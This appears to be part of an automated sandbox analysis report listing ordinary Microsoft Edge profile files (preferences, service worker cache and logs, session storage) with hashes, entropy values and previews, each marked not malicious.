Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c790c1b1-a6a6-4aff-9f2b-9f2a1b3eca4f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.1127071390747885
Encrypted:	false
SSDEEP:	192:stMkdpJsc31QaFvrE9kuRB8jbV+Fy5QAyUiPlRUYJ:stMQJsK1QCDhbGgQoy
MD5:	6E650DEBD5A62331F2221A6FF0F35BE4
SHA1:	86D4E9A92D43183E649E1DE6802CEDE86E1FE303
SHA-256:	BC2FC3DBC1C0D616024E9013657EAC565330E7B18060C963F16E6DBCC1E8DCBF
SHA-512:	BA4DC9C2F8DC64B6AEF037ADE1F8AA15FA6DE802508E9B54A8146D19EB43EE57D63CA44460A73F700DC70DE41081C363EBC967394E99BE8D0361BD137AE14538
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377108693008208","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40b56.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.1127071390747885
Encrypted:	false
SSDEEP:	192:stMkdpJsc31QaFvrE9kuRB8jbV+Fy5QAyUiPlRUYJ:stMQJsK1QCDhbGgQoy
MD5:	6E650DEBD5A62331F2221A6FF0F35BE4
SHA1:	86D4E9A92D43183E649E1DE6802CEDE86E1FE303
SHA-256:	BC2FC3DBC1C0D616024E9013657EAC565330E7B18060C963F16E6DBCC1E8DCBF
SHA-512:	BA4DC9C2F8DC64B6AEF037ADE1F8AA15FA6DE802508E9B54A8146D19EB43EE57D63CA44460A73F700DC70DE41081C363EBC967394E99BE8D0361BD137AE14538
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377108693008208","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF43526.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.1127071390747885
Encrypted:	false
SSDEEP:	192:stMkdpJsc31QaFvrE9kuRB8jbV+Fy5QAyUiPlRUYJ:stMQJsK1QCDhbGgQoy
MD5:	6E650DEBD5A62331F2221A6FF0F35BE4
SHA1:	86D4E9A92D43183E649E1DE6802CEDE86E1FE303
SHA-256:	BC2FC3DBC1C0D616024E9013657EAC565330E7B18060C963F16E6DBCC1E8DCBF
SHA-512:	BA4DC9C2F8DC64B6AEF037ADE1F8AA15FA6DE802508E9B54A8146D19EB43EE57D63CA44460A73F700DC70DE41081C363EBC967394E99BE8D0361BD137AE14538
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377108693008208","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF46146.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.1127071390747885
Encrypted:	false
SSDEEP:	192:stMkdpJsc31QaFvrE9kuRB8jbV+Fy5QAyUiPlRUYJ:stMQJsK1QCDhbGgQoy
MD5:	6E650DEBD5A62331F2221A6FF0F35BE4
SHA1:	86D4E9A92D43183E649E1DE6802CEDE86E1FE303
SHA-256:	BC2FC3DBC1C0D616024E9013657EAC565330E7B18060C963F16E6DBCC1E8DCBF
SHA-512:	BA4DC9C2F8DC64B6AEF037ADE1F8AA15FA6DE802508E9B54A8146D19EB43EE57D63CA44460A73F700DC70DE41081C363EBC967394E99BE8D0361BD137AE14538
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377108693008208","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b9d6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.1127071390747885
Encrypted:	false
SSDEEP:	192:stMkdpJsc31QaFvrE9kuRB8jbV+Fy5QAyUiPlRUYJ:stMQJsK1QCDhbGgQoy
MD5:	6E650DEBD5A62331F2221A6FF0F35BE4
SHA1:	86D4E9A92D43183E649E1DE6802CEDE86E1FE303
SHA-256:	BC2FC3DBC1C0D616024E9013657EAC565330E7B18060C963F16E6DBCC1E8DCBF
SHA-512:	BA4DC9C2F8DC64B6AEF037ADE1F8AA15FA6DE802508E9B54A8146D19EB43EE57D63CA44460A73F700DC70DE41081C363EBC967394E99BE8D0361BD137AE14538
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377108693008208","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.566068135776729
Encrypted:	false
SSDEEP:	768:ggguqBW+DW5wKkf4tg8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP4MIzoqCrwXd0p3tH:g7BBNDWaKkfUgu1ja1p7ntMtH
MD5:	1FB973E59E7C6FEAAB16B3CC0CBBAAF7
SHA1:	D68F106A8C4285998DDB70FBF94FB0547AC521B8
SHA-256:	26BFC95415C63BB032C484DD971B6C43039581AEE6ECAC65FEDB21BF647C3396
SHA-512:	67C01C78607747029B7F20EF0C2F3D86C7F70A029D59C066B182ACE7E3DE749E4349EC9B03F411A29050C50ED7FBE7256F99D0ECE85D297BC7B029E9361E6A92
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377108692449849","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377108692449849","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3f907.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.566068135776729
Encrypted:	false
SSDEEP:	768:ggguqBW+DW5wKkf4tg8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP4MIzoqCrwXd0p3tH:g7BBNDWaKkfUgu1ja1p7ntMtH
MD5:	1FB973E59E7C6FEAAB16B3CC0CBBAAF7
SHA1:	D68F106A8C4285998DDB70FBF94FB0547AC521B8
SHA-256:	26BFC95415C63BB032C484DD971B6C43039581AEE6ECAC65FEDB21BF647C3396
SHA-512:	67C01C78607747029B7F20EF0C2F3D86C7F70A029D59C066B182ACE7E3DE749E4349EC9B03F411A29050C50ED7FBE7256F99D0ECE85D297BC7B029E9361E6A92
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377108692449849","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377108692449849","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.839398262558233
Encrypted:	false
SSDEEP:	48:F2emXtrdDTfBeLXrdYxJrdDWBeardlBeC:F1mXtxDTixYxJxDMxn
MD5:	ADDCD27B89DF6C66064B0F44C69E9834
SHA1:	F8EB3D580B2B8936F9A236181900CD84EAE76312
SHA-256:	665A980A05252FC5C51F18CC1463BD92EDE25FED5E916E6DFC030EA30BE7D2C2
SHA-512:	C7027821A854F4CEDE0C4319065FC32A4BC39E66390F74DFA72B5003961223497ED1FB9C8678B7D3ECE52AFA1DC8E2BCA1C125CE87D828B812978A158F1910E9
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2....m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.115336501122627
Encrypted:	false
SSDEEP:	6:HN8Ba3M1N723oH+TcwtE/a252KLlVN8llIq2PN723oH+TcwtE/a2ZIFUv:t8c3saYeb8xLl8luvVaYeb8J2FUv
MD5:	8987D4FFFDE27812823A3B5C8DD470BE
SHA1:	1BE993A0E0C7F80A6BF420EDBBC440236FF8B6E7
SHA-256:	A450D877D2601CAE9B15A3984AB86B7390138C15A53FEA841E2A2DBC46723501
SHA-512:	D0571A30E412EADD7DF3A36750683971298346962D6356EAADD2DB7B9FD3FDE01B7ABEF0C0AD2CBBF1066EE7972BA966AE1928975B3E361208D1E9874B4CB9F1
Malicious:	false
Preview:	2024/11/26-10:31:55.170 1ea4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/26-10:31:55.183 1ea4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114380
Entropy (8bit):	5.578322882488836
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgL+En:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFac
MD5:	2BFBB22701E8DB71BD301BCEC615254E
SHA1:	B7C1990D60A81BB28ABEA2B704DF58EE7E09A52E
SHA-256:	FE55CEEA06F07D837BE72EF0A6DECF1604D3BEF2AC16335EF72B4567C2C4FD47
SHA-512:	BF6DB3C836FF46E75CAA4CFA11A8540D8A4B51AF381B507B2C6B48DCA5BACC8712CD0DC71C0550BB5758E808503BC4879FF49C0A8820B36A142A1682A4259596
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188865
Entropy (8bit):	6.3843677611979075
Encrypted:	false
SSDEEP:	3072:5Yue2UldpgLw6pn7ebL/q9cMYkvdAe++i+k//K7:+CLwe72L/5DBeDQc
MD5:	B29C3C0DB457B659F8C04E261B3D7C62
SHA1:	3735D934F6CF90F140A0E179F75A7CEDCCF70CAA
SHA-256:	AA24FEE57A69EBDD831679177EAE172F5BC8B0C50C3968069A4F1810BCA618C8
SHA-512:	6C809DB9A8B56CCE15D926ED1B161418C13E7A0FC315E47DC3F2A7EB82BB3F9E8B8F3EDDBFFFEF66B838C2BE90AF175D844F6B48F99FCCC0D65F1E96D1DA9682
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yTh........,T.8..`,.....L`.....,T...`......L`......Rc.+2V....exports...Rc.M.:....module....Rc:.r.....define....Rb.5%.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m...GDb...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:t1ZcKcC0Xl/ly/l9/lxEYa/lbej+:CtmOvaC
MD5:	0292A477E68B621EBB699FBA938ABA62
SHA1:	A0146D16DF90C5D1BD1D9138C5ADEF70F6FF322E
SHA-256:	69932D5260CB37C94BEC3AA508C30B54DA5C3ADA56DCF3DC626C94F00B39ED72
SHA-512:	89CDB429BE4665EA8D9DA59B8D2EEA30F0745D6808C244189A72E2B64C211A54FD0B02AC70D831B7A441F4068B5742FC92B5529B8D735A8175FC4920B00A9E76
Malicious:	false
Preview:	@....P\|9oy retne.........................X....,................df$.h./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:t1ZcKcC0Xl/ly/l9/lxEYa/lbej+:CtmOvaC
MD5:	0292A477E68B621EBB699FBA938ABA62
SHA1:	A0146D16DF90C5D1BD1D9138C5ADEF70F6FF322E
SHA-256:	69932D5260CB37C94BEC3AA508C30B54DA5C3ADA56DCF3DC626C94F00B39ED72
SHA-512:	89CDB429BE4665EA8D9DA59B8D2EEA30F0745D6808C244189A72E2B64C211A54FD0B02AC70D831B7A441F4068B5742FC92B5529B8D735A8175FC4920B00A9E76
Malicious:	false
Preview:	@....P\|9oy retne.........................X....,................df$.h./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF452b0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:t1ZcKcC0Xl/ly/l9/lxEYa/lbej+:CtmOvaC
MD5:	0292A477E68B621EBB699FBA938ABA62
SHA1:	A0146D16DF90C5D1BD1D9138C5ADEF70F6FF322E
SHA-256:	69932D5260CB37C94BEC3AA508C30B54DA5C3ADA56DCF3DC626C94F00B39ED72
SHA-512:	89CDB429BE4665EA8D9DA59B8D2EEA30F0745D6808C244189A72E2B64C211A54FD0B02AC70D831B7A441F4068B5742FC92B5529B8D735A8175FC4920B00A9E76
Malicious:	false
Preview:	@....P\|9oy retne.........................X....,................df$.h./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7213
Entropy (8bit):	3.3674257138329393
Encrypted:	false
SSDEEP:	192:6Up/k4cCE82JiC6n7abU106/V69Xp+8KiZDQ5SLl9iSrYjsMa:6URH2IWbU1i9Xp+jn5SLl9iSrcsF
MD5:	7DD4C029E955AC7DA59FB08D449FD369
SHA1:	28A8E7F4205667C7B862C588C1B50694B6551FDE
SHA-256:	72D67E68982AC083791E02370F1D92D745863551804C9A588A9B82EA5868149D
SHA-512:	172115A395828E176B0D5ACCBB8B0E1CAAD57CD6262FEE5BC1FFB355B33BC861D438E267EBB146985BE129606D2263B24CC612A09247945020DB5706F51B1D08
Malicious:	false
